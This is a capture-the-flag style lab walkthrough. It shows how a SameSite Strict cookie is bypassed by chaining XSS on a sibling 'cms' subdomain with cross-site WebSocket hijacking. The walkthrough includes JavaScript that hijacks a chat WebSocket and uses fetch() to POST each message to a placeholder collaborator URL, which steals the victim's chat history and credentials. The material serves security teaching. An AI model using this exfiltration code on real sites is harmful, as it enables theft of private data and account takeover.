top of page

CSRF SameSite Strict bypass via sibling domain

  • BlueDolphin
  • Mar 16
  • 5 min read

Updated: Mar 17

YouTube Walkthrough


Lab Overview

Why Is This Important

It is common for web applications to utilize web sockets, and if an internal relationship exists with a sibling domain it creates an attack surface for a WebSocket hijacking attack that enables a CSRF attack.


Key Takeaways

  1. Viewing websockets via browser inspect

  2. Secure vs insecure websockets

  3. Interacting with websockets

  4. Conduct a cross-site WebSocket hijacking attack

  5. Exploit Chain XSS, CSRF and CSWSH together

Steps to Reproduce

  1. Review the application

    1. Identify strict security headers

    2. Identify live chat over websocket

    3. Chat.js review


  2. Create and test a cross site request

    1. Build our web socket

    2. Callback to collaborator

    3. View and confirm data received in collaborator C2

  3. Bypass SameSite Strict Header via XSS on a sibling domain

    1. Uncover login domain

    2. Test for XSS

    3. Test cross site request

  4. Chain exploits

    1. Create the payload

    2. Encode the payload

    3. Point to our XSS Injection point

    4. Host and deliver


1.) Review the Application


Steps to reproduce

  1. Identify strict security headers

  2. Identify live chat over websocket

  3. Chat.js review


Identify strict security headers

Upon browsing to the website, we setup burp to passively enumerate our website developing an http history log. We notice that a session cookie is set with the SameSite=strict header.


Identify live chat over websocket

What I initially found interesting here is that the users chat history is persistent across a page refresh. Even if we wait for the system to disconnect on a timeout, our chat history remains. This is indicative of session cookie use which we saw in the above request.


Looking at the websocket history in burp reveals that our client's first post to the server was the READY parameter.



The standard requests are not vulnerable to CSRF attacks since there is a same site strict header. Websocket usage increases our attack surface. The webserver socket provides the full chat history which is tied to our session cookie where we do not see a CSRF token set in the response.


If you didn't know, you can quickly see if a websocket is in use within the network tab of your browsers developer tools, by clicking into network and then on WS tab as seen in the image below.

Taking a step back and visiting the HTTP history we can find where the websocket was first initiated. If you didn't already know, HTTP 101 is code for a websocket protocol request. We see that the websocket is established upon visiting the chat page.


Chat(js) Review


The chat.js call and file reveal the wss protocol, which is the secure version of websockets as opposed to the ws protocol. Quite similar to http/https.


In the chat.js script there is a particular section to focus on, the websocket activity. By understanding how this client side websocket operates, we can learn more about the handling of the chat messages.


2.) Create and test a cross site request


Steps to reproduce

  1. Build our web socket

  2. Callback to collaborator

  3. View and confirm data received in collaborator C2

Note:

The websocket API in JavaScript offers ws/wss objects for creating and managing websockets both server and client side. A new websocket is created by calling WebSocket().


An example below: var socket = new WebSocket("wss://examplehost:1337");


Event Handling

Websocket connections have 4 principle events that are utilized in standard operations.

  1. open: Triggers when connection is established

  2. message: Send and receives messages between server and client

  3. close: Triggers when connection is closed

  4. error: Triggers if an error occurs.


Build our websocket


The goal here is to test a POC as if we were the attacker and hosted a malicious web server, using java script to create a web socket which communicates to the chat bot endpoint, and a client side script that then passes the chat history to our call back.


  • Create a new websocket

  • Point the websocket to our target chat application

  • Send the READY string on open

  • Pass the fetch function to make a call back to our collaborator server.

  • Post the event data provided by the chat application


1.) Create a new websocket

const WebSocket = require('ws'); 2.) Point the websocket to our target chat application

const ws = new WebSocket("wss://CHAT BOT URL PATH");   


3.) Send the READY string on open ws.onopen = function () {      

ws.send("READY");      

};   

4.) Pass the fetch function to make a call back to our collaborator server.

ws.onmessage = function (event) {    

5.) Post the event data provided by the chat application

 fetch('https://COLLABORATOR URL', {method: 'POST', mode: 'no-cors', body: event.data}); 

};


Note:

I changed the post parameter from event.data to evt.data.


This is what your script should look like as provided by port swigger in the lab details.



Callback to collaborator


With the payload primed and implemented as the body of our webpage via the exploit server we can store and deliver the payload. This will host a webpage with our above script and a user (in this case a bot) will visit our page.


Waiting a few minutes we see our call back posting the event.data.




3.) Bypass SameSite Strict Header via XSS on a sibling domain


Steps to reproduce

  1. Uncover login domain

  2. Test for XSS

  3. Test cross site GET request


Uncover login domain

Viewing the requests had originally revealed a sub domain when requesting content.


Appending our existing URL at the login page with the sub domain "cms" brings us to a different webpage.


Test for XSS


We test the username field for xss to verify this as an injection point to act as our bypass to the samesite strict header as per the lab instructions.


Passing the XSS payload results in a successful execution of our script.


Test cross site GET request


Here we change our request from a POST to a GET, containing the same xss payload as before. Sending this to repeater and forwarding to our target reveals that our payload was processed by the endpoint via the URL query string successfully. This opens the door for delivery of our payload.


4.) Chain exploits


Steps to reproduce

  1. Create the payload

  2. Encode the payload

  3. Point to our XSS Injection point

  4. Host and deliver

Create the payload

Here we simply use our existing payload.



Encode the payload

We know that javascript is passed and executed by the webserver via the login function, however when our request was changed from POST to GET, the URL query string encoded our xss alert script, so we will need to encode our script.


Use the provided script found in the lab details to run a script that passes a URL to the browser of the visiting user. This URL will have our encoded payload.




In theory, the user clicks our link, upon landing on our malicious page their browser executes the document. Location function pointing to the cms login page which is vulnerable to XSS, and then passes our script to make the call back and exfiltrate the chat history to our collaborator or C2.


We can see the chat history retruend in the image below within burp collaborator.


Using the above credentials we sucessfully login.


THE END

 
 
 

Comments


bottom of page